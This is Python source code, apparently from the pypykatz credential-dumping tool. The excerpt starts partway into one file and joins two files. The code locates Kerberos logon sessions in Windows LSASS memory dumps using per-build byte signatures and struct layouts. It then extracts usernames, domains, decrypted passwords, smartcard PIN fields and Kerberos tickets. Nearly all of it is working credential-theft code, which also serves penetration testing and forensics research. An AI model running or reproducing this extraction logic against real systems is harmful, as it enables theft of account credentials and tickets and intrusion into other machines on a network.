64 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
65 return ptr_entry, ptr_entry_loc
66
67 def handle_ticket(self, kerberos_ticket):
68 try:
69 kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
70 self.current_cred.tickets.append(kt)
71 #print(str(kt))
72 except Exception as e:
73 raise e
74
75 def start(self):
76 try:
77 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
78 except Exception as e:
79 self.log('Failed to find structs! Reason: %s' % e)
80 return
81
82 if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
83 self.reader.move(entry_ptr_loc)
84 entry_ptr = PLIST_ENTRY(self.reader)
85 self.walk_list(entry_ptr, self.process_session_elist)
86 else:
87 result_ptr_list = []
88 self.reader.move(entry_ptr_value)
89 start_node = PRTL_AVL_TABLE(self.reader).read(self.reader)
90 self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
91
92 for ptr in result_ptr_list:
93 self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
94 self.reader.move(ptr)
95 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
96 self.process_session(kerberos_logon_session)
97
98 def process_session_elist(self, elist):
99 self.reader.move(elist.location)
100 self.reader.read_uint() #Flink do not remove this line!
101 self.reader.read_uint() #Blink do not remove this line!
102 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
103 self.process_session(kerberos_logon_session)
104
105 def process_session(self, kerberos_logon_session):
106 self.current_cred = KerberosCredential()
107 self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier
108
109 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
110 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
111 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
112
113 #### key list (still in session) this is not a linked list (thank god!)
114 if kerberos_logon_session.pKeyList.value != 0:
115 key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
116 #print(key_list.cbItem)
117 key_list.read(self.reader, self.decryptor_template.hash_password_struct)
118 for key in key_list.KeyEntries:
119 pass
120 #print(key.generic.Checksump.value)
121
122 #self.log_ptr(key.generic.Checksump.value, 'Checksump', datasize = key.generic.Size)
123 #if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_10_1507.value and key.generic.Size > LSAISO_DATA_BLOB.size:
124 # if key.generic.Size <= LSAISO_DATA_BLOB.size + (len("KerberosKey") - 1) + 32: #AES_256_KEY_LENGTH
125 # input('1')
126 # data_blob = key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB)
127 # data_blob.read(self.reader, key.generic.Size - LSAISO_DATA_BLOB.size)
128 #
129 # input('data blob end')
130 # """
131 # kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data);
132 # kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0);
133 # kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0);
134 # kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize);
135 # kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4);
136 # kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5);
137 # """
138 # else:
139 # input('2')
140 # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB)
141 # print('unkData1 : %s' % data_struct.unkData1.hex())
142 # print('unkData2 : %s' % data_struct.unkData2.hex())
143 # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB
144 #
145 #else:
146 #
147 # if self.reader.reader.sysinfo.BuildNumber < WindowsBuild.WIN_VISTA.value:
148 # input('3')
149 # key.generic.Checksump.read(self.reader, override_finaltype = LSAISO_DATA_BLOB)
150 # print('unkData1 : %s' % data_struct.unkData1.hex())
151 # print('unkData2 : %s' % data_struct.unkData2.hex())
152 # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB
153 #
154 # else:
155 # input('4')
156 # #we need to decrypt as well!
157 # self.reader.move(key.generic.Checksump.value)
158 # enc_data = self.reader.read(key.generic.Size)
159 # print(hexdump(enc_data))
160 # dec_data = self.lsa_decryptor.decrypt(enc_data)
161 # print(hexdump(dec_data))
162 # t_reader = GenericReader(dec_data)
163 # data_struct = LSAISO_DATA_BLOB(t_reader)
164 # print('unkData1 : %s' % data_struct.unkData1.hex())
165 # print('unkData2 : %s' % data_struct.unkData2.hex())
166 # print('Encrypted : %s' % data_struct.data.hex()) #another extra struct should wrap this data! ENC_LSAISO_DATA_BLOB
167 #
168 #input()
169
170
171 if kerberos_logon_session.Tickets_1.Flink.value != 0 and \
172 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
173 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
174 self.current_ticket_type = KerberosTicketType.TGS
175 self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
176
177 if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
178 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
179 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
180 self.current_ticket_type = KerberosTicketType.CLIENT
181 self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
182
183 if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
184 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
185 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
186 self.current_ticket_type = KerberosTicketType.TGT
187 self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
188 self.current_ticket_type = None
189 self.credentials.append(self.current_cred)
190
191
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 from minidump.win_datatypes import ULONG64, FILETIME, PCWSTR, SIZE_T, BOOL #WCHAR, ANYSIZE_ARRAY
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
8 from pypykatz.commons.win_datatypes import POINTER, PVOID, ULONG, LIST_ENTRY, \
9 DWORD, LSA_UNICODE_STRING, PKERB_EXTERNAL_NAME, KIWI_GENERIC_PRIMARY_CREDENTIAL, \
10 LUID, PLSAISO_DATA_BLOB
11 from pypykatz.lsadecryptor.package_commons import PackageTemplate
12
13 class KerberosTemplate(PackageTemplate):
14 def __init__(self, sysinfo):
15 super().__init__('Kerberos', sysinfo)
16 self.signature = None
17 self.first_entry_offset = None
18 self.kerberos_session_struct = None
19 self.kerberos_ticket_struct = None
20 self.keys_list_struct = None
21 self.hash_password_struct = None
22 self.csp_info_struct = None
23
24 @staticmethod
25 def get_template(sysinfo):
26 #input('%s %s' % (sysinfo.architecture,sysinfo.buildnumber))
27 template = KerberosTemplate(sysinfo)
28 if sysinfo.architecture == KatzSystemArchitecture.X64:
29 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
30 template.signature = b'\x48\x3b\xfe\x0f\x84'
31 template.first_entry_offset = -4
32 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51
33 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51
34 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
35 template.hash_password_struct = KERB_HASHPASSWORD_5
36 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
37
38
39 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
40 template.signature = b'\x48\x3b\xfe\x0f\x84'
41 template.first_entry_offset = -4
42 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
43 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52
44 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
45 template.hash_password_struct = KERB_HASHPASSWORD_5
46 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
47
48 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
49 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
50 template.first_entry_offset = 6
51 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
52 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60
53 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
54 template.hash_password_struct = KERB_HASHPASSWORD_6
55 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
56
57 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
58 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
59 template.first_entry_offset = 6
60 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
61 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
62 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
63 template.hash_password_struct = KERB_HASHPASSWORD_6
64 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
65
66 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
67 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
68 template.first_entry_offset = 6
69 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
70 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
71 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
72 template.hash_password_struct = KERB_HASHPASSWORD_6
73 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62
74
75 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
76 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
77 template.first_entry_offset = 6
78 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10
79 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
80 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
81 template.hash_password_struct = KERB_HASHPASSWORD_6
82 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
83
84 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
85 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
86 template.first_entry_offset = 6
87 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10
88 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10
89 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
90 template.hash_password_struct = KERB_HASHPASSWORD_6
91 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
92
93
94 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
95 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
96 template.first_entry_offset = 6
97 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
98 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
99 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
100 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
101 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
102
103 else:
104 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
105
106
107 elif sysinfo.architecture == KatzSystemArchitecture.X86:
108 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
109 template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50'
110 template.first_entry_offset = -8
111 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_51
112 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_51
113 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
114 template.hash_password_struct = KERB_HASHPASSWORD_5
115 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
116
117
118 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
119 template.signature = b'\x8B\x7D\x08\x8B\x17\x39\x50'
120 template.first_entry_offset = -8
121 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
122 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_52
123 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_5
124 template.hash_password_struct = KERB_HASHPASSWORD_5
125 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_5
126
127 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
128 template.signature = b'\x53\x8b\x18\x50\x56'
129 template.first_entry_offset = -11
130 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
131 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_60
132 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
133 template.hash_password_struct = KERB_HASHPASSWORD_6
134 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
135
136 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
137 template.signature = b'\x53\x8b\x18\x50\x56'
138 template.first_entry_offset = -11
139 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
140 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
141 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
142 template.hash_password_struct = KERB_HASHPASSWORD_6
143 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_60
144
145 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsBuild.WIN_BLUE.value:
146 template.signature = b'\x57\x8b\x38\x50\x68'
147 template.first_entry_offset = -14
148 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
149 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
150 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
151 template.hash_password_struct = KERB_HASHPASSWORD_6
152 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62
153
154 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
155 template.signature = b'\x56\x8b\x30\x50\x57'
156 template.first_entry_offset = -15
157 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION
158 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
159 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
160 template.hash_password_struct = KERB_HASHPASSWORD_6
161 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_62
162
163 ####DOUBLE CHECK THE STRUCTURES BELOW THIS LINE!!!!
164 #### kerbHelper[N] -> KerberosReferences... {-15,7}}, here N= 7
165
166 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
167 template.signature = b'\x56\x8b\x30\x50\x57'
168 template.first_entry_offset = -15
169 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_X86
170 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_6
171 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
172 template.hash_password_struct = KERB_HASHPASSWORD_6
173 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
174
175
176 elif WindowsBuild.WIN_10_1511.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
177 template.signature = b'\x56\x8b\x30\x50\x57'
178 template.first_entry_offset = -15
179 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86
180 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
181 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
182 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
183 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
184
185
186 elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber:
187 template.signature = b'\x56\x8b\x30\x50\x53'
188 template.first_entry_offset = -15
189 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86
190 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
191 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
192 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
193 template.csp_info_struct = PKIWI_KERBEROS_CSP_INFOS_10
194
195
196 else:
197 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
198
199
200 return template
201
202 class PKERB_SMARTCARD_CSP_INFO_5(POINTER):
203 def __init__(self, reader):
204 super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5)
205
206
207 class KERB_SMARTCARD_CSP_INFO_5:
208 def __init__(self, reader):
209 self.dwCspInfoLen = DWORD(reader).value
210 self.ContextInformation = PVOID(reader).value
211 self.nCardNameOffset = ULONG(reader).value
212 self.nReaderNameOffset = ULONG(reader).value
213 self.nContainerNameOffset = ULONG(reader).value
214 self.nCSPNameOffset = ULONG(reader).value
215 self.bBuffer = WCHAR(reader).value
216
217 class PKERB_SMARTCARD_CSP_INFO(POINTER):
218 def __init__(self, reader):
219 super().__init__(reader, KERB_SMARTCARD_CSP_INFO)
220
221
222 class KERB_SMARTCARD_CSP_INFO:
223 def __init__(self, reader):
224 self.dwCspInfoLen = DWORD(reader).value
225 self.MessageType = DWORD(reader).value
226 self.ContextInformation = PVOID(reader).value #U
227 self.SpaceHolderForWow64 = ULONG64(reader).value #U
228 self.flags = DWORD(reader).value
229 self.KeySpec = DWORD(reader).value
230 self.nCardNameOffset = ULONG(reader).value
231 self.nReaderNameOffset = ULONG(reader).value
232 self.nContainerNameOffset = ULONG(reader).value
233 self.nCSPNameOffset = ULONG(reader).value
234 self.bBuffer[ANYSIZE_ARRAY] = WCHAR(reader).value
235
236 class PKIWI_KERBEROS_CSP_INFOS_5(POINTER):
237 def __init__(self, reader):
238 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_5)
239
240 class KIWI_KERBEROS_CSP_INFOS_5:
241 def __init__(self, reader):
242 self.PinCode = LSA_UNICODE_STRING(reader)
243 self.unk0 = PVOID(reader).value
244 self.unk1 = PVOID(reader).value
245 self.CertificateInfos = PVOID(reader).value
246 self.unkData = PVOID(reader).value # // 0 = CspData
247 self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value
248 self.CspDataLength = DWORD(reader).value
249 self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader).value
250
251 class PKIWI_KERBEROS_CSP_INFOS_60(POINTER):
252 def __init__(self, reader):
253 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60)
254
255
256 class KIWI_KERBEROS_CSP_INFOS_60:
257 def __init__(self, reader):
258 self.PinCode = LSA_UNICODE_STRING(reader)
259 self.unk0 = PVOID(reader).value
260 self.unk1 = PVOID(reader).value
261 self.CertificateInfos = PVOID(reader).value
262 self.unkData = PVOID(reader).value # // 0 = CspData
263 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
264 self.unkFlags = DWORD(reader).value #// 0x141(reader).value
265 self.CspDataLength = DWORD(reader).value
266 self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value
267
268 class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):
269 def __init__(self, reader):
270 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62)
271
272
273 class KIWI_KERBEROS_CSP_INFOS_62:
274 def __init__(self, reader):
275 self.PinCode = LSA_UNICODE_STRING(reader)
276 self.unk0 = PVOID(reader).value
277 self.unk1 = PVOID(reader).value
278 self.CertificateInfos = PVOID(reader).value
279 self.unk2 = PVOID(reader).value
280 self.unkData = PVOID(reader).value #// 0 = CspData(reader).value
281 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
282 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)
283 self.CspDataLength = DWORD(reader).value
284 self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value
285
286 class PKIWI_KERBEROS_CSP_INFOS_10(POINTER):
287 def __init__(self, reader):
288 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10)
289
290 class KIWI_KERBEROS_CSP_INFOS_10:
291 def __init__(self, reader):
292 self.PinCode = LSA_UNICODE_STRING(reader)
293 self.unk0 = PVOID(reader).value
294 self.unk1 = PVOID(reader).value
295 self.CertificateInfos = PVOID(reader).value
296 self.unk2 = PVOID(reader).value
297 self.unkData = PVOID(reader).value #// 0 = CspData
298 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
299 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value
300 self.unk3 = PVOID(reader).value
301 self.CspDataLength = DWORD(reader).value
302 self.CspData = KERB_SMARTCARD_CSP_INFO(reader).value
303
304 class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER):
305 def __init__(self, reader):
306 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51)
307
308 class KIWI_KERBEROS_LOGON_SESSION_51:
309 def __init__(self, reader):
310 self.UsageCount = ULONG(reader).value
311 self.unk0 = LIST_ENTRY(reader)
312 self.unk1 = LIST_ENTRY(reader)
313 self.unk2 = PVOID(reader).value
314 self.unk3 = ULONG(reader).value # // filetime.1 ?
315 self.unk4 = ULONG(reader).value #// filetime.2 ?(reader).value
316 self.unk5 = PVOID(reader).value
317 self.unk6 = PVOID(reader).value
318 self.unk7 = PVOID(reader).value
319 self.LocallyUniqueIdentifier = LUID(reader).value
320 reader.align(8)
321 #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value
322 self.unk8 = FILETIME(reader).value
323 self.unk9 = PVOID(reader).value
324 self.unk10 = ULONG(reader).value # // filetime.1 ?(reader).value
325 self.unk11 = ULONG(reader).value # // filetime.2 ?(reader).value
326 self.unk12 = PVOID(reader).value
327 self.unk13 = PVOID(reader).value
328 self.unk14 = PVOID(reader).value
329 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
330 self.unk15 = ULONG(reader).value
331 self.unk16 = ULONG(reader).value
332 self.unk17 = ULONG(reader).value
333 self.unk18 = ULONG(reader).value
334 self.unk19 = PVOID(reader).value
335 self.unk20 = PVOID(reader).value
336 self.unk21 = PVOID(reader).value
337 self.unk22 = PVOID(reader).value
338 self.pKeyList = PVOID(reader)
339 self.unk24 = PVOID(reader).value
340 self.Tickets_1 = LIST_ENTRY(reader)
341 self.Tickets_2 = LIST_ENTRY(reader)
342 self.Tickets_3 = LIST_ENTRY(reader)
343 self.SmartcardInfos = PVOID(reader).value
344
345
346 class PKIWI_KERBEROS_LOGON_SESSION(POINTER):
347 def __init__(self, reader):
348 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION)
349
350 class KIWI_KERBEROS_LOGON_SESSION:
351 def __init__(self, reader):
352 self.UsageCount = ULONG(reader).value
353 reader.align()
354 self.unk0 = LIST_ENTRY(reader)
355 self.unk1 = PVOID(reader).value
356 self.unk2 = ULONG(reader).value # // filetime.1 ?
357 self.unk3 = ULONG(reader).value #// filetime.2 ?(reader).value
358 self.unk4 = PVOID(reader).value
359 self.unk5 = PVOID(reader).value
360 self.unk6 = PVOID(reader).value
361 self.LocallyUniqueIdentifier = LUID(reader).value
362 #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value
363 reader.align(8)
364 self.unk7 = FILETIME(reader).value
365 self.unk8 = PVOID(reader).value
366 self.unk9 = ULONG(reader).value # // filetime.1 ?(reader).value
367 self.unk10 = ULONG(reader).value # // filetime.2 ?(reader).value
368 self.unk11 = PVOID(reader).value
369 self.unk12 = PVOID(reader).value
370 self.unk13 = PVOID(reader).value
371 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
372 self.unk14 = ULONG(reader).value
373 self.unk15 = ULONG(reader).value
374 self.unk16 = ULONG(reader).value
375 self.unk17 = ULONG(reader).value
376 self.unk18 = PVOID(reader).value
377 self.unk19 = PVOID(reader).value
378 self.unk20 = PVOID(reader).value
379 self.unk21 = PVOID(reader).value
380 self.pKeyList = PVOID(reader)
381 self.unk23 = PVOID(reader).value
382 reader.align()
383 self.Tickets_1 = LIST_ENTRY(reader)
384 self.unk24 = FILETIME(reader).value
385 self.Tickets_2 = LIST_ENTRY(reader)
386 self.unk25 = FILETIME(reader).value
387 self.Tickets_3 = LIST_ENTRY(reader)
388 self.unk26 = FILETIME(reader).value
389 self.SmartcardInfos = PVOID(reader).value
390
391 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER):
392 def __init__(self, reader):
393 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL)
394
395
396 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL:
397 def __init__(self, reader):
398 self.UserName = LSA_UNICODE_STRING(reader)
399 self.Domaine = LSA_UNICODE_STRING(reader)
400 self.unk0 = PVOID(reader).value
401 self.Password = LSA_UNICODE_STRING(reader)
402
403 class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER):
404 def __init__(self, reader):
405 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10)
406
407 class KIWI_KERBEROS_LOGON_SESSION_10_X86:
408 def __init__(self, reader):
409 self.UsageCount = ULONG(reader).value
410 reader.align()
411 self.unk0 = LIST_ENTRY(reader)
412 self.unk1 = PVOID(reader).value
413 self.unk1b = ULONG(reader).value
414 reader.align()
415 self.unk2 = FILETIME(reader).value
416 self.unk4 = PVOID(reader).value
417 self.unk5 = PVOID(reader).value
418 self.unk6 = PVOID(reader).value
419 self.LocallyUniqueIdentifier = LUID(reader).value
420 #print(hex(self.LocallyUniqueIdentifier))
421 #input('unk7\n' + hexdump(reader.peek(0x100)))
422 reader.align()
423 self.unk7 = FILETIME(reader).value
424 self.unk8 = PVOID(reader).value
425 self.unk8b = ULONG(reader).value
426 reader.align()
427 self.unk9 = FILETIME(reader).value
428 self.unk11 = PVOID(reader).value
429 self.unk12 = PVOID(reader).value
430 self.unk13 = PVOID(reader).value
431 reader.align(8)
432
433 #input('credentials\n' + hexdump(reader.peek(0x100)))
434 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
435 self.unk14 = ULONG(reader).value
436 self.unk15 = ULONG(reader).value
437 self.unk16 = ULONG(reader).value
438 self.unk17 = ULONG(reader).value
439 #//PVOID unk18 = (reader).value
440 reader.align(8)
441 self.unk19 = PVOID(reader).value
442 self.unk20 = PVOID(reader).value
443 self.unk21 = PVOID(reader).value
444 self.unk22 = PVOID(reader).value
445 self.unk23 = PVOID(reader).value
446 self.unk24 = PVOID(reader).value
447 self.unk25 = PVOID(reader).value
448
449 self.pKeyList = PVOID(reader)
450 self.unk26 = PVOID(reader).value
451 #input('pKeyList\n' + hexdump(reader.peek(0x100)))
452 reader.align()
453 #input('Tickets_1\n' + hexdump(reader.peek(0x100)))
454 self.Tickets_1 = LIST_ENTRY(reader)
455 self.unk27 = FILETIME(reader).value
456 self.Tickets_2 = LIST_ENTRY(reader)
457 self.unk28 = FILETIME(reader).value
458 self.Tickets_3 = LIST_ENTRY(reader)
459 self.unk29 = FILETIME(reader).value
460 self.SmartcardInfos = PVOID(reader).value
461
462 class KIWI_KERBEROS_LOGON_SESSION_10:
463 def __init__(self, reader):
464 self.UsageCount = ULONG(reader).value
465 reader.align()
466 self.unk0 = LIST_ENTRY(reader)
467 self.unk1 = PVOID(reader).value
468 self.unk1b = ULONG(reader).value
469 reader.align()
470 self.unk2 = FILETIME(reader).value
471 self.unk4 = PVOID(reader).value
472 self.unk5 = PVOID(reader).value
473 self.unk6 = PVOID(reader).value
474 self.LocallyUniqueIdentifier = LUID(reader).value
475 self.unk7 = FILETIME(reader).value
476 self.unk8 = PVOID(reader).value
477 self.unk8b = ULONG(reader).value
478 reader.align()
479 self.unk9 = FILETIME(reader).value
480 self.unk11 = PVOID(reader).value
481 self.unk12 = PVOID(reader).value
482 self.unk13 = PVOID(reader).value
483 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
484 self.unk14 = ULONG(reader).value
485 self.unk15 = ULONG(reader).value
486 self.unk16 = ULONG(reader).value
487 self.unk17 = ULONG(reader).value
488 #self.unk18 = PVOID(reader).value
489 self.unk19 = PVOID(reader).value
490 self.unk20 = PVOID(reader).value
491 self.unk21 = PVOID(reader).value
492 self.unk22 = PVOID(reader).value
493 self.unk23 = PVOID(reader).value
494 self.unk24 = PVOID(reader).value
495 self.unk25 = PVOID(reader).value
496 self.pKeyList = PVOID(reader)
497 self.unk26 = PVOID(reader).value
498 self.Tickets_1 = LIST_ENTRY(reader)
499 self.unk27 = FILETIME(reader).value
